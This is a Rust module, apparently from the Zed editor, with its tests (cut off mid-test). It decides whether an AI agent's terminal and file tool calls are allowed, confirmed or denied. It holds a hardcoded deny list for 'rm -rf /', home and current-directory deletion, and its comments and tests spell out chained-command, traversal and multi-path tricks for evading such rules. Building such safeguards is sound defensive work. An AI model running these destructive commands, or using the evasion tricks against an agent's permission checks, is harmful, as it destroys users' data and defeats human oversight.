1use crate::AgentTool;
2use crate::tools::TerminalTool;
3use agent_settings::{AgentSettings, CompiledRegex, ToolPermissions, ToolRules};
4use settings::ToolPermissionMode;
5use shell_command_parser::extract_commands;
6use std::path::{Component, Path};
7use std::sync::LazyLock;
8use util::shell::ShellKind;
9
10const HARDCODED_SECURITY_DENIAL_MESSAGE: &str = "Blocked by built-in security rule. This operation is considered too \
11 harmful to be allowed, and cannot be overridden by settings.";
12
13/// Security rules that are always enforced and cannot be overridden by any setting.
14/// These protect against catastrophic operations like wiping filesystems.
15pub struct HardcodedSecurityRules {
16 pub terminal_deny: Vec<CompiledRegex>,
17}
18
19pub static HARDCODED_SECURITY_RULES: LazyLock<HardcodedSecurityRules> = LazyLock::new(|| {
20 // Flag group matches any short flags (-rf, -rfv, -v, etc.) or long flags (--recursive, --force, etc.)
21 // This ensures extra flags like -rfv, -v -rf, --recursive --force don't bypass the rules.
22 const FLAGS: &str = r"(--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?\s+|-[a-zA-Z]+\s+)*";
23 // Trailing flags that may appear after the path operand (GNU rm accepts flags after operands)
24 const TRAILING_FLAGS: &str = r"(\s+--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?|\s+-[a-zA-Z]+)*\s*";
25
26 HardcodedSecurityRules {
27 terminal_deny: vec![
28 // Recursive deletion of root - "rm -rf /", "rm -rfv /", "rm -rf /*", "rm / -rf"
29 CompiledRegex::new(
30 &format!(r"\brm\s+{FLAGS}(--\s+)?/\*?{TRAILING_FLAGS}$"),
31 false,
32 )
33 .expect("hardcoded regex should compile"),
34 // Recursive deletion of home - "rm -rf ~" or "rm -rf ~/" or "rm -rf ~/*" or "rm ~ -rf" (but not ~/subdir)
35 CompiledRegex::new(
36 &format!(r"\brm\s+{FLAGS}(--\s+)?~/?\*?{TRAILING_FLAGS}$"),
37 false,
38 )
39 .expect("hardcoded regex should compile"),
40 // Recursive deletion of home via $HOME - "rm -rf $HOME" or "rm -rf ${HOME}" or "rm $HOME -rf" or with /*
41 CompiledRegex::new(
42 &format!(r"\brm\s+{FLAGS}(--\s+)?(\$HOME|\$\{{HOME\}})/?(\*)?{TRAILING_FLAGS}$"),
43 false,
44 )
45 .expect("hardcoded regex should compile"),
46 // Recursive deletion of current directory - "rm -rf ." or "rm -rf ./" or "rm -rf ./*" or "rm . -rf"
47 CompiledRegex::new(
48 &format!(r"\brm\s+{FLAGS}(--\s+)?\./?\*?{TRAILING_FLAGS}$"),
49 false,
50 )
51 .expect("hardcoded regex should compile"),
52 // Recursive deletion of parent directory - "rm -rf .." or "rm -rf ../" or "rm -rf ../*" or "rm .. -rf"
53 CompiledRegex::new(
54 &format!(r"\brm\s+{FLAGS}(--\s+)?\.\./?\*?{TRAILING_FLAGS}$"),
55 false,
56 )
57 .expect("hardcoded regex should compile"),
58 ],
59 }
60});
61
62/// Checks if input matches any hardcoded security rules that cannot be bypassed.
63/// Returns a Deny decision if blocked, None otherwise.
64fn check_hardcoded_security_rules(
65 tool_name: &str,
66 inputs: &[String],
67 shell_kind: ShellKind,
68) -> Option<ToolPermissionDecision> {
69 // Currently only terminal tool has hardcoded rules
70 if tool_name != TerminalTool::NAME {
71 return None;
72 }
73
74 let rules = &*HARDCODED_SECURITY_RULES;
75 let terminal_patterns = &rules.terminal_deny;
76
77 for input in inputs {
78 // First: check the original input as-is (and its path-normalized form)
79 if matches_hardcoded_patterns(input, terminal_patterns) {
80 return Some(ToolPermissionDecision::Deny(
81 HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
82 ));
83 }
84
85 // Second: parse and check individual sub-commands (for chained commands)
86 if shell_kind.supports_posix_chaining() {
87 if let Some(commands) = extract_commands(input) {
88 for command in &commands {
89 if matches_hardcoded_patterns(command, terminal_patterns) {
90 return Some(ToolPermissionDecision::Deny(
91 HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
92 ));
93 }
94 }
95 }
96 }
97 }
98
99 None
100}
101
102/// Checks a single command against hardcoded patterns, both as-is and with
103/// path arguments normalized (to catch traversal bypasses like `rm -rf /tmp/../../`
104/// and multi-path bypasses like `rm -rf /tmp /`).
105fn matches_hardcoded_patterns(command: &str, patterns: &[CompiledRegex]) -> bool {
106 for pattern in patterns {
107 if pattern.is_match(command) {
108 return true;
109 }
110 }
111
112 for expanded in expand_rm_to_single_path_commands(command) {
113 for pattern in patterns {
114 if pattern.is_match(&expanded) {
115 return true;
116 }
117 }
118 }
119
120 false
121}
122
123/// For rm commands, expands multi-path arguments into individual single-path
124/// commands with normalized paths. This catches both traversal bypasses like
125/// `rm -rf /tmp/../../` and multi-path bypasses like `rm -rf /tmp /`.
126fn expand_rm_to_single_path_commands(command: &str) -> Vec<String> {
127 let trimmed = command.trim();
128
129 let first_token = trimmed.split_whitespace().next();
130 if !first_token.is_some_and(|t| t.eq_ignore_ascii_case("rm")) {
131 return vec![];
132 }
133
134 let parts: Vec<&str> = trimmed.split_whitespace().collect();
135 let mut flags = Vec::new();
136 let mut paths = Vec::new();
137 let mut past_double_dash = false;
138
139 for part in parts.iter().skip(1) {
140 if !past_double_dash && *part == "--" {
141 past_double_dash = true;
142 flags.push(*part);
143 continue;
144 }
145 if !past_double_dash && part.starts_with('-') {
146 flags.push(*part);
147 } else {
148 paths.push(*part);
149 }
150 }
151
152 let flags_str = if flags.is_empty() {
153 String::new()
154 } else {
155 format!("{} ", flags.join(" "))
156 };
157
158 let mut results = Vec::new();
159 for path in &paths {
160 if path.starts_with('$') {
161 let home_prefix = if path.starts_with("${HOME}") {
162 Some("${HOME}")
163 } else if path.starts_with("$HOME") {
164 Some("$HOME")
165 } else {
166 None
167 };
168
169 if let Some(prefix) = home_prefix {
170 let suffix = &path[prefix.len()..];
171 if suffix.is_empty() {
172 results.push(format!("rm {flags_str}{path}"));
173 } else if suffix.starts_with('/') {
174 let normalized_suffix = normalize_path(suffix);
175 let reconstructed = if normalized_suffix == "/" {
176 prefix.to_string()
177 } else {
178 format!("{prefix}{normalized_suffix}")
179 };
180 results.push(format!("rm {flags_str}{reconstructed}"));
181 } else {
182 results.push(format!("rm {flags_str}{path}"));
183 }
184 } else {
185 results.push(format!("rm {flags_str}{path}"));
186 }
187 continue;
188 }
189
190 let mut normalized = normalize_path(path);
191 if normalized.is_empty() && !Path::new(path).has_root() {
192 normalized = ".".to_string();
193 }
194
195 results.push(format!("rm {flags_str}{normalized}"));
196 }
197
198 results
199}
200
201#[derive(Debug, Clone, PartialEq, Eq)]
202pub enum ToolPermissionDecision {
203 Allow,
204 Deny(String),
205 Confirm,
206}
207
208impl ToolPermissionDecision {
209 /// Determines the permission decision for a tool invocation based on configured rules.
210 ///
211 /// # Precedence Order (highest to lowest)
212 ///
213 /// 1. **Hardcoded security rules** - Critical safety checks (e.g., blocking `rm -rf /`)
214 /// that cannot be bypassed by any user settings.
215 /// 2. **`always_deny`** - If any deny pattern matches, the tool call is blocked immediately.
216 /// This takes precedence over `always_confirm` and `always_allow` patterns.
217 /// 3. **`always_confirm`** - If any confirm pattern matches (and no deny matched),
218 /// the user is prompted for confirmation.
219 /// 4. **`always_allow`** - If any allow pattern matches (and no deny/confirm matched),
220 /// the tool call proceeds without prompting.
221 /// 5. **Tool-specific `default`** - If no patterns match and the tool has an explicit
222 /// `default` configured, that mode is used.
223 /// 6. **Global `default`** - Falls back to `tool_permissions.default` when no
224 /// tool-specific default is set, or when the tool has no entry at all.
225 ///
226 /// # Shell Compatibility (Terminal Tool Only)
227 ///
228 /// For the terminal tool, commands are parsed to extract sub-commands for security.
229 /// All currently supported `ShellKind` variants are treated as compatible because
230 /// brush-parser can handle their command chaining syntax. If a new `ShellKind`
231 /// variant is added that brush-parser cannot safely parse, it should be excluded
232 /// from `ShellKind::supports_posix_chaining()`, which will cause `always_allow`
233 /// patterns to be disabled for that shell.
234 ///
235 /// # Pattern Matching Tips
236 ///
237 /// Patterns are matched as regular expressions against the tool input (e.g., the command
238 /// string for the terminal tool). Some tips for writing effective patterns:
239 ///
240 /// - Use word boundaries (`\b`) to avoid partial matches. For example, pattern `rm` will
241 /// match "storm" and "arms", but `\brm\b` will only match the standalone word "rm".
242 /// This is important for security rules where you want to block specific commands
243 /// without accidentally blocking unrelated commands that happen to contain the same
244 /// substring.
245 /// - Patterns are case-insensitive by default. Set `case_sensitive: true` for exact matching.
246 /// - Use `^` and `$` anchors to match the start/end of the input.
247 pub fn from_input(
248 tool_name: &str,
249 inputs: &[String],
250 permissions: &ToolPermissions,
251 shell_kind: ShellKind,
252 ) -> ToolPermissionDecision {
253 // First, check hardcoded security rules, such as banning `rm -rf /` in terminal tool.
254 // These cannot be bypassed by any user settings.
255 if let Some(denial) = check_hardcoded_security_rules(tool_name, inputs, shell_kind) {
256 return denial;
257 }
258
259 let rules = match permissions.tools.get(tool_name) {
260 Some(rules) => rules,
261 None => {
262 // No tool-specific rules, use the global default
263 return match permissions.default {
264 ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
265 ToolPermissionMode::Deny => {
266 ToolPermissionDecision::Deny("Blocked by global default: deny".into())
267 }
268 ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
269 };
270 }
271 };
272
273 // Check for invalid regex patterns before evaluating rules.
274 // If any patterns failed to compile, block the tool call entirely.
275 if let Some(error) = check_invalid_patterns(tool_name, rules) {
276 return ToolPermissionDecision::Deny(error);
277 }
278
279 // For the terminal tool, parse each input command to extract all sub-commands.
280 // This prevents shell injection attacks where a user configures an allow
281 // pattern like "^ls" and an attacker crafts "ls && rm -rf /".
282 //
283 // If parsing fails or the shell syntax is unsupported, always_allow is
284 // disabled for this command (we set allow_enabled to false to signal this).
285 if tool_name == TerminalTool::NAME {
286 // Our shell parser (brush-parser) only supports POSIX-like shell syntax.
287 // See the doc comment above for the list of compatible/incompatible shells.
288 if !shell_kind.supports_posix_chaining() {
289 // For shells with incompatible syntax, we can't reliably parse
290 // the command to extract sub-commands.
291 if !rules.always_allow.is_empty() {
292 // If the user has configured always_allow patterns, we must deny
293 // because we can't safely verify the command doesn't contain
294 // hidden sub-commands that bypass the allow patterns.
295 return ToolPermissionDecision::Deny(format!(
296 "The {} shell does not support \"always allow\" patterns for the terminal \
297 tool because Zed cannot parse its command chaining syntax. Please remove \
298 the always_allow patterns from your tool_permissions settings, or switch \
299 to a POSIX-conforming shell.",
300 shell_kind
301 ));
302 }
303 // No always_allow rules, so we can still check deny/confirm patterns.
304 return check_commands(
305 inputs.iter().map(|s| s.to_string()),
306 rules,
307 tool_name,
308 false,
309 permissions.default,
310 );
311 }
312
313 // Expand each input into its sub-commands and check them all together.
314 let mut all_commands = Vec::new();
315 let mut any_parse_failed = false;
316 for input in inputs {
317 match extract_commands(input) {
318 Some(commands) => all_commands.extend(commands),
319 None => {
320 any_parse_failed = true;
321 all_commands.push(input.to_string());
322 }
323 }
324 }
325 // If any command failed to parse, disable allow patterns for safety.
326 check_commands(
327 all_commands,
328 rules,
329 tool_name,
330 !any_parse_failed,
331 permissions.default,
332 )
333 } else {
334 check_commands(
335 inputs.iter().map(|s| s.to_string()),
336 rules,
337 tool_name,
338 true,
339 permissions.default,
340 )
341 }
342 }
343}
344
345/// Evaluates permission rules against a set of commands.
346///
347/// This function performs a single pass through all commands with the following logic:
348/// - **DENY**: If ANY command matches a deny pattern, deny immediately (short-circuit)
349/// - **CONFIRM**: Track if ANY command matches a confirm pattern
350/// - **ALLOW**: Track if ALL commands match at least one allow pattern
351///
352/// The `allow_enabled` flag controls whether allow patterns are checked. This is set
353/// to `false` when we can't reliably parse shell commands (e.g., parse failures or
354/// unsupported shell syntax), ensuring we don't auto-allow potentially dangerous commands.
355fn check_commands(
356 commands: impl IntoIterator<Item = String>,
357 rules: &ToolRules,
358 tool_name: &str,
359 allow_enabled: bool,
360 global_default: ToolPermissionMode,
361) -> ToolPermissionDecision {
362 // Single pass through all commands:
363 // - DENY: If ANY command matches a deny pattern, deny immediately (short-circuit)
364 // - CONFIRM: Track if ANY command matches a confirm pattern
365 // - ALLOW: Track if ALL commands match at least one allow pattern
366 let mut any_matched_confirm = false;
367 let mut all_matched_allow = true;
368 let mut had_any_commands = false;
369
370 for command in commands {
371 had_any_commands = true;
372
373 // DENY: immediate return if any command matches a deny pattern
374 if rules.always_deny.iter().any(|r| r.is_match(&command)) {
375 return ToolPermissionDecision::Deny(format!(
376 "Command blocked by security rule for {} tool",
377 tool_name
378 ));
379 }
380
381 // CONFIRM: remember if any command matches a confirm pattern
382 if rules.always_confirm.iter().any(|r| r.is_match(&command)) {
383 any_matched_confirm = true;
384 }
385
386 // ALLOW: track if all commands match at least one allow pattern
387 if !rules.always_allow.iter().any(|r| r.is_match(&command)) {
388 all_matched_allow = false;
389 }
390 }
391
392 // After processing all commands, check accumulated state
393 if any_matched_confirm {
394 return ToolPermissionDecision::Confirm;
395 }
396
397 if allow_enabled && all_matched_allow && had_any_commands {
398 return ToolPermissionDecision::Allow;
399 }
400
401 match rules.default.unwrap_or(global_default) {
402 ToolPermissionMode::Deny => {
403 ToolPermissionDecision::Deny(format!("{} tool is disabled", tool_name))
404 }
405 ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
406 ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
407 }
408}
409
410/// Checks if the tool rules contain any invalid regex patterns.
411/// Returns an error message if invalid patterns are found.
412fn check_invalid_patterns(tool_name: &str, rules: &ToolRules) -> Option<String> {
413 if rules.invalid_patterns.is_empty() {
414 return None;
415 }
416
417 let count = rules.invalid_patterns.len();
418 let pattern_word = if count == 1 { "pattern" } else { "patterns" };
419
420 Some(format!(
421 "The {} tool cannot run because {} regex {} failed to compile. \
422 Please fix the invalid patterns in your tool_permissions settings.",
423 tool_name, count, pattern_word
424 ))
425}
426
427/// Convenience wrapper that extracts permission settings from `AgentSettings`.
428///
429/// This is the primary entry point for tools to check permissions. It extracts
430/// `tool_permissions` from the settings and
431/// delegates to [`ToolPermissionDecision::from_input`], using the system shell.
432pub fn decide_permission_from_settings(
433 tool_name: &str,
434 inputs: &[String],
435 settings: &AgentSettings,
436) -> ToolPermissionDecision {
437 ToolPermissionDecision::from_input(
438 tool_name,
439 inputs,
440 &settings.tool_permissions,
441 ShellKind::system(),
442 )
443}
444
445/// Normalizes a path by collapsing `.` and `..` segments without touching the filesystem.
446pub fn normalize_path(raw: &str) -> String {
447 let is_absolute = Path::new(raw).has_root();
448 let mut components: Vec<&str> = Vec::new();
449 for component in Path::new(raw).components() {
450 match component {
451 Component::CurDir => {}
452 Component::ParentDir => {
453 if components.last() == Some(&"..") {
454 components.push("..");
455 } else if !components.is_empty() {
456 components.pop();
457 } else if !is_absolute {
458 components.push("..");
459 }
460 }
461 Component::Normal(segment) => {
462 if let Some(s) = segment.to_str() {
463 components.push(s);
464 }
465 }
466 Component::RootDir | Component::Prefix(_) => {}
467 }
468 }
469 let joined = components.join("/");
470 if is_absolute {
471 format!("/{joined}")
472 } else {
473 joined
474 }
475}
476
477/// Decides permission by checking both the raw input path and a simplified/canonicalized
478/// version. Returns the most restrictive decision (Deny > Confirm > Allow).
479pub fn decide_permission_for_paths(
480 tool_name: &str,
481 raw_paths: &[String],
482 settings: &AgentSettings,
483) -> ToolPermissionDecision {
484 let raw_inputs: Vec<String> = raw_paths.to_vec();
485 let raw_decision = decide_permission_from_settings(tool_name, &raw_inputs, settings);
486
487 let normalized: Vec<String> = raw_paths.iter().map(|p| normalize_path(p)).collect();
488 let any_changed = raw_paths
489 .iter()
490 .zip(&normalized)
491 .any(|(raw, norm)| raw != norm);
492 if !any_changed {
493 return raw_decision;
494 }
495
496 let normalized_decision = decide_permission_from_settings(tool_name, &normalized, settings);
497
498 most_restrictive(raw_decision, normalized_decision)
499}
500
501pub fn decide_permission_for_path(
502 tool_name: &str,
503 raw_path: &str,
504 settings: &AgentSettings,
505) -> ToolPermissionDecision {
506 decide_permission_for_paths(tool_name, &[raw_path.to_string()], settings)
507}
508
509pub fn most_restrictive(
510 a: ToolPermissionDecision,
511 b: ToolPermissionDecision,
512) -> ToolPermissionDecision {
513 match (&a, &b) {
514 (ToolPermissionDecision::Deny(_), _) => a,
515 (_, ToolPermissionDecision::Deny(_)) => b,
516 (ToolPermissionDecision::Confirm, _) | (_, ToolPermissionDecision::Confirm) => {
517 ToolPermissionDecision::Confirm
518 }
519 _ => a,
520 }
521}
522
523#[cfg(test)]
524mod tests {
525 use super::*;
526 use crate::AgentTool;
527 use crate::pattern_extraction::extract_terminal_pattern;
528 use crate::tools::{DeletePathTool, EditFileTool, FetchTool, TerminalTool};
529 use agent_settings::{AgentProfileId, CompiledRegex, InvalidRegexPattern, ToolRules};
530 use gpui::px;
531 use settings::{DefaultAgentView, DockPosition, DockSide, NotifyWhenAgentWaiting};
532 use std::sync::Arc;
533
534 fn test_agent_settings(tool_permissions: ToolPermissions) -> AgentSettings {
535 AgentSettings {
536 enabled: true,
537 button: true,
538 dock: DockPosition::Right,
539 agents_panel_dock: DockSide::Left,
540 default_width: px(300.),
541 default_height: px(600.),
542 default_model: None,
543 inline_assistant_model: None,
544 inline_assistant_use_streaming_tools: false,
545 commit_message_model: None,
546 thread_summary_model: None,
547 inline_alternatives: vec![],
548 favorite_models: vec![],
549 default_profile: AgentProfileId::default(),
550 default_view: DefaultAgentView::Thread,
551 profiles: Default::default(),
552 notify_when_agent_waiting: NotifyWhenAgentWaiting::default(),
553 play_sound_when_agent_done: false,
554 single_file_review: false,
555 model_parameters: vec![],
556 enable_feedback: false,
557 expand_edit_card: true,
558 expand_terminal_card: true,
559 cancel_generation_on_terminal_stop: true,
560 use_modifier_to_send: true,
561 message_editor_min_lines: 1,
562 tool_permissions,
563 show_turn_stats: false,
564 }
565 }
566
567 fn pattern(command: &str) -> &'static str {
568 Box::leak(
569 extract_terminal_pattern(command)
570 .expect("failed to extract pattern")
571 .into_boxed_str(),
572 )
573 }
574
575 struct PermTest {
576 tool: &'static str,
577 input: &'static str,
578 mode: Option<ToolPermissionMode>,
579 allow: Vec<(&'static str, bool)>,
580 deny: Vec<(&'static str, bool)>,
581 confirm: Vec<(&'static str, bool)>,
582 global_default: ToolPermissionMode,
583 shell: ShellKind,
584 }
585
586 impl PermTest {
587 fn new(input: &'static str) -> Self {
588 Self {
589 tool: TerminalTool::NAME,
590 input,
591 mode: None,
592 allow: vec![],
593 deny: vec![],
594 confirm: vec![],
595 global_default: ToolPermissionMode::Confirm,
596 shell: ShellKind::Posix,
597 }
598 }
599
600 fn tool(mut self, t: &'static str) -> Self {
601 self.tool = t;
602 self
603 }
604 fn mode(mut self, m: ToolPermissionMode) -> Self {
605 self.mode = Some(m);
606 self
607 }
608 fn allow(mut self, p: &[&'static str]) -> Self {
609 self.allow = p.iter().map(|s| (*s, false)).collect();
610 self
611 }
612 fn allow_case_sensitive(mut self, p: &[&'static str]) -> Self {
613 self.allow = p.iter().map(|s| (*s, true)).collect();
614 self
615 }
616 fn deny(mut self, p: &[&'static str]) -> Self {
617 self.deny = p.iter().map(|s| (*s, false)).collect();
618 self
619 }
620 fn deny_case_sensitive(mut self, p: &[&'static str]) -> Self {
621 self.deny = p.iter().map(|s| (*s, true)).collect();
622 self
623 }
624 fn confirm(mut self, p: &[&'static str]) -> Self {
625 self.confirm = p.iter().map(|s| (*s, false)).collect();
626 self
627 }
628 fn global_default(mut self, m: ToolPermissionMode) -> Self {
629 self.global_default = m;
630 self
631 }
632 fn shell(mut self, s: ShellKind) -> Self {
633 self.shell = s;
634 self
635 }
636
637 fn is_allow(self) {
638 assert_eq!(
639 self.run(),
640 ToolPermissionDecision::Allow,
641 "expected Allow for '{}'",
642 self.input
643 );
644 }
645 fn is_deny(self) {
646 assert!(
647 matches!(self.run(), ToolPermissionDecision::Deny(_)),
648 "expected Deny for '{}'",
649 self.input
650 );
651 }
652 fn is_confirm(self) {
653 assert_eq!(
654 self.run(),
655 ToolPermissionDecision::Confirm,
656 "expected Confirm for '{}'",
657 self.input
658 );
659 }
660
661 fn run(&self) -> ToolPermissionDecision {
662 let mut tools = collections::HashMap::default();
663 tools.insert(
664 Arc::from(self.tool),
665 ToolRules {
666 default: self.mode,
667 always_allow: self
668 .allow
669 .iter()
670 .map(|(p, cs)| {
671 CompiledRegex::new(p, *cs)
672 .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
673 })
674 .collect(),
675 always_deny: self
676 .deny
677 .iter()
678 .map(|(p, cs)| {
679 CompiledRegex::new(p, *cs)
680 .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
681 })
682 .collect(),
683 always_confirm: self
684 .confirm
685 .iter()
686 .map(|(p, cs)| {
687 CompiledRegex::new(p, *cs)
688 .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
689 })
690 .collect(),
691 invalid_patterns: vec![],
692 },
693 );
694 ToolPermissionDecision::from_input(
695 self.tool,
696 &[self.input.to_string()],
697 &ToolPermissions {
698 default: self.global_default,
699 tools,
700 },
701 self.shell,
702 )
703 }
704 }
705
706 fn t(input: &'static str) -> PermTest {
707 PermTest::new(input)
708 }
709
710 fn no_rules(input: &str, global_default: ToolPermissionMode) -> ToolPermissionDecision {
711 ToolPermissionDecision::from_input(
712 TerminalTool::NAME,
713 &[input.to_string()],
714 &ToolPermissions {
715 default: global_default,
716 tools: collections::HashMap::default(),
717 },
718 ShellKind::Posix,
719 )
720 }
721
722 // allow pattern matches
723 #[test]
724 fn allow_exact_match() {
725 t("cargo test").allow(&[pattern("cargo")]).is_allow();
726 }
727 #[test]
728 fn allow_one_of_many_patterns() {
729 t("npm install")
730 .allow(&[pattern("cargo"), pattern("npm")])
731 .is_allow();
732 t("git status")
733 .allow(&[pattern("cargo"), pattern("npm"), pattern("git")])
734 .is_allow();
735 }
736 #[test]
737 fn allow_middle_pattern() {
738 t("run cargo now").allow(&["cargo"]).is_allow();
739 }
740 #[test]
741 fn allow_anchor_prevents_middle() {
742 t("run cargo now").allow(&["^cargo"]).is_confirm();
743 }
744
745 // allow pattern doesn't match -> falls through
746 #[test]
747 fn allow_no_match_confirms() {
748 t("python x.py").allow(&[pattern("cargo")]).is_confirm();
749 }
750 #[test]
751 fn allow_no_match_global_allows() {
752 t("python x.py")
753 .allow(&[pattern("cargo")])
754 .global_default(ToolPermissionMode::Allow)
755 .is_allow();
756 }
757 #[test]
758 fn allow_no_match_tool_confirm_overrides_global_allow() {
759 t("python x.py")
760 .allow(&[pattern("cargo")])
761 .mode(ToolPermissionMode::Confirm)
762 .global_default(ToolPermissionMode::Allow)
763 .is_confirm();
764 }
765 #[test]
766 fn allow_no_match_tool_allow_overrides_global_confirm() {
767 t("python x.py")
768 .allow(&[pattern("cargo")])
769 .mode(ToolPermissionMode::Allow)
770 .global_default(ToolPermissionMode::Confirm)
771 .is_allow();
772 }
773
774 // deny pattern matches (using commands that aren't blocked by hardcoded rules)
775 #[test]
776 fn deny_blocks() {
777 t("rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
778 }
779 // global default: allow does NOT bypass user-configured deny rules
780 #[test]
781 fn deny_not_bypassed_by_global_default_allow() {
782 t("rm -rf ./temp")
783 .deny(&["rm\\s+-rf"])
784 .global_default(ToolPermissionMode::Allow)
785 .is_deny();
786 }
787 #[test]
788 fn deny_blocks_with_mode_allow() {
789 t("rm -rf ./temp")
790 .deny(&["rm\\s+-rf"])
791 .mode(ToolPermissionMode::Allow)
792 .is_deny();
793 }
794 #[test]
795 fn deny_middle_match() {
796 t("echo rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
797 }
798 #[test]
799 fn deny_no_match_falls_through() {
800 t("ls -la")
801 .deny(&["rm\\s+-rf"])
802 .mode(ToolPermissionMode::Allow)
803 .is_allow();
804 }
805
806 // confirm pattern matches
807 #[test]
808 fn confirm_requires_confirm() {
809 t("sudo apt install")
810 .confirm(&[pattern("sudo")])
811 .is_confirm();
812 }
813 // global default: allow does NOT bypass user-configured confirm rules
814 #[test]
815 fn global_default_allow_does_not_override_confirm_pattern() {
816 t("sudo reboot")
817 .confirm(&[pattern("sudo")])
818 .global_default(ToolPermissionMode::Allow)
819 .is_confirm();
820 }
821 #[test]
822 fn confirm_overrides_mode_allow() {
823 t("sudo x")
824 .confirm(&["sudo"])
825 .mode(ToolPermissionMode::Allow)
826 .is_confirm();
827 }
828
829 // confirm beats allow
830 #[test]
831 fn confirm_beats_allow() {
832 t("git push --force")
833 .allow(&[pattern("git")])
834 .confirm(&["--force"])
835 .is_confirm();
836 }
837 #[test]
838 fn confirm_beats_allow_overlap() {
839 t("deploy prod")
840 .allow(&["deploy"])
841 .confirm(&["prod"])
842 .is_confirm();
843 }
844 #[test]
845 fn allow_when_confirm_no_match() {
846 t("git status")
847 .allow(&[pattern("git")])
848 .confirm(&["--force"])
849 .is_allow();
850 }
851
852 // deny beats allow
853 #[test]
854 fn deny_beats_allow() {
855 t("rm -rf ./tmp/x")
856 .allow(&["/tmp/"])
857 .deny(&["rm\\s+-rf"])
858 .is_deny();
859 }
860
861 #[test]
862 fn deny_beats_confirm() {
863 t("sudo rm -rf ./temp")
864 .confirm(&["sudo"])
865 .deny(&["rm\\s+-rf"])
866 .is_deny();
867 }
868
869 // deny beats everything
870 #[test]
871 fn deny_beats_all() {
872 t("bad cmd")
873 .allow(&["cmd"])
874 .confirm(&["cmd"])
875 .deny(&["bad"])
876 .is_deny();
877 }
878
879 // no patterns -> default
880 #[test]
881 fn default_confirm() {
882 t("python x.py")
883 .mode(ToolPermissionMode::Confirm)
884 .is_confirm();
885 }
886 #[test]
887 fn default_allow() {
888 t("python x.py").mode(ToolPermissionMode::Allow).is_allow();
889 }
890 #[test]
891 fn default_deny() {
892 t("python x.py").mode(ToolPermissionMode::Deny).is_deny();
893 }
894 // Tool-specific default takes precedence over global default
895 #[test]
896 fn tool_default_deny_overrides_global_allow() {
897 t("python x.py")
898 .mode(ToolPermissionMode::Deny)
899 .global_default(ToolPermissionMode::Allow)
900 .is_deny();
901 }
902
903 // Tool-specific default takes precedence over global default
904 #[test]
905 fn tool_default_confirm_overrides_global_allow() {
906 t("x")
907 .mode(ToolPermissionMode::Confirm)
908 .global_default(ToolPermissionMode::Allow)
909 .is_confirm();
910 }
911
912 #[test]
913 fn no_rules_uses_global_default() {
914 assert_eq!(
915 no_rules("x", ToolPermissionMode::Confirm),
916 ToolPermissionDecision::Confirm
917 );
918 assert_eq!(
919 no_rules("x", ToolPermissionMode::Allow),
920 ToolPermissionDecision::Allow
921 );
922 assert!(matches!(
923 no_rules("x", ToolPermissionMode::Deny),
924 ToolPermissionDecision::Deny(_)
925 ));
926 }
927
928 #[test]
929 fn empty_input_no_match() {
930 t("")
931 .deny(&["rm"])
932 .mode(ToolPermissionMode::Allow)
933 .is_allow();
934 }
935
936 #[test]
937 fn empty_input_with_allow_falls_to_default() {
938 t("").allow(&["^ls"]).is_confirm();
939 }
940
941 #[test]
942 fn multi_deny_any_match() {
943 t("rm x").deny(&["rm", "del", "drop"]).is_deny();
944 t("drop x").deny(&["rm", "del", "drop"]).is_deny();
945 }
946
947 #[test]
948 fn multi_allow_any_match() {
949 t("cargo x").allow(&["^cargo", "^npm", "^git"]).is_allow();
950 }
951 #[test]
952 fn multi_none_match() {
953 t("python x")
954 .allow(&["^cargo", "^npm"])
955 .deny(&["rm"])
956 .is_confirm();
957 }
958
959 // tool isolation
960 #[test]
961 fn other_tool_not_affected() {
962 let mut tools = collections::HashMap::default();
963 tools.insert(
964 Arc::from(TerminalTool::NAME),
965 ToolRules {
966 default: Some(ToolPermissionMode::Deny),
967 always_allow: vec![],
968 always_deny: vec![],
969 always_confirm: vec![],
970 invalid_patterns: vec![],
971 },
972 );
973 tools.insert(
974 Arc::from(EditFileTool::NAME),
975 ToolRules {
976 default: Some(ToolPermissionMode::Allow),
977 always_allow: vec![],
978 always_deny: vec![],
979 always_confirm: vec![],
980 invalid_patterns: vec![],
981 },
982 );
983 let p = ToolPermissions {
984 default: ToolPermissionMode::Confirm,
985 tools,
986 };
987 assert!(matches!(
988 ToolPermissionDecision::from_input(
989 TerminalTool::NAME,
990 &["x".to_string()],
991 &p,
992 ShellKind::Posix
993 ),
994 ToolPermissionDecision::Deny(_)
995 ));
996 assert_eq!(
997 ToolPermissionDecision::from_input(
998 EditFileTool::NAME,
999 &["x".to_string()],
1000 &p,
1001 ShellKind::Posix
1002 ),
1003 ToolPermissionDecision::Allow
1004 );
1005 }
1006
1007 #[test]
1008 fn partial_tool_name_no_match() {
1009 let mut tools = collections::HashMap::default();
1010 tools.insert(
1011 Arc::from("term"),
1012 ToolRules {
1013 default: Some(ToolPermissionMode::Deny),
1014 always_allow: vec![],
1015 always_deny: vec![],
1016 always_confirm: vec![],
1017 invalid_patterns: vec![],
1018 },
1019 );
1020 let p = ToolPermissions {
1021 default: ToolPermissionMode::Confirm,
1022 tools,
1023 };
1024 // "terminal" should not match "term" rules, so falls back to Confirm (no rules)
1025 assert_eq!(
1026 ToolPermissionDecision::from_input(
1027 TerminalTool::NAME,
1028 &["x".to_string()],
1029 &p,
1030 ShellKind::Posix
1031 ),
1032 ToolPermissionDecision::Confirm
1033 );
1034 }
1035
1036 // invalid patterns block the tool
1037 #[test]
1038 fn invalid_pattern_blocks() {
1039 let mut tools = collections::HashMap::default();
1040 tools.insert(
1041 Arc::from(TerminalTool::NAME),
1042 ToolRules {
1043 default: Some(ToolPermissionMode::Allow),
1044 always_allow: vec![CompiledRegex::new("echo", false).unwrap()],
1045 always_deny: vec![],
1046 always_confirm: vec![],
1047 invalid_patterns: vec![InvalidRegexPattern {
1048 pattern: "[bad".into(),
1049 rule_type: "always_deny".into(),
1050 error: "err".into(),
1051 }],
1052 },
1053 );
1054 let p = ToolPermissions {
